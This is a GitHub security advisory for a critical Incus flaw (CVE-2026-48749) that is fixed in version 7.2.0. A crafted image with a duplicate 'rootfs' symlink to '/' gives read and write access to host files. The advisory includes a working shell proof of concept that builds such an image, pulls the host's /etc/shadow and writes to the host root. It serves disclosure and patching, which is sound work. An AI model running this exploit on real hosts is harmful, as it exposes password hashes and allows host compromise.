GitHub Advisoryadvisory · Go

GHSA-2q3f-q5pq-g8wv Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

CRITICAL Published 2026-06-26 Modified 2026-06-26 Official page ↗
Aliases
CVE-2026-48749
Ecosystem
Go
Packages
github.com/lxc/incus/v7/cmd/incusd
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-73
Reviewed
2026-06-26

Affected packages

• Go github.com/lxc/incus/v7/cmd/incusd: < 7.2.0 → fixed in 7.2.0

Description

Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Details Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it. ``` metadata.yaml rootfs/ rootfs -> / ``` In practice, this allows a malicious actor to access the host's filesystem with root privileges. PoC Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`. ``` !/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" cat"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC rootfs symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow" write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/ ``` Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Related

Alias · CVE (1)

  • CVE-2026-48749 Incus is a system container and virtual machine manager. vulnerability

Weakness · CWE (1)

  • CWE-73 External Control of File Name or Path weakness

References